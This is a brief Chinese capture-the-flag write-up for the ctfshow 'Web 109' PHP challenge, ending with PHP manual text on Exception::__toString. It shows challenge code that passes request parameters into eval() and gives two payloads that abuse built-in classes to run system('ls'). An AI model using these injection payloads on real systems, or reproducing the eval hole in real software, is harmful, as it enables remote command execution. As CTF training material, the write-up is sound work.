php特性
ctfshow
Web 109
1 <?php 2 highlight_file(__FILE__); 3 error_reporting(0); 4 if(isset($_GET['v1']) && isset($_GET['v2'])){ 5 $v1 = $_GET['v1']; 6 $v2 = $_GET['v2']; 7 8 if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ 9 eval("echo new $v1($v2());"); 10 } 11 } 12 ?>
playload:
v1=exception&v2=system('ls'));//
v1=ReflectionClass&v2=system('ls')
php 异常类
先来看下这个正则表达式/[a-zA-Z]+/ 匹配至少有一个字母的字符串
所以我们要让new后面构造一个内置类。
Exception::__toString
(PHP 5, PHP 7, PHP 8)
Exception::__toString — 将异常对象转换为字符串
说明
public Exception::__toString(): string返回转换为字符串(string)类型的异常。
参数
此函数没有参数。
返回值
返回转换为字符串(string)类型的异常。
范例
示例 #1 Exception::__toString()示例
<?php
try {
throw new Exception("Some error message");
} catch(Exception $e) {
echo $e;
}
?>
以上例程的输出类似于:
exception 'Exception' with message 'Some error message' in /home/bjori/tmp/ex.php:3
Stack trace:
#0 {main}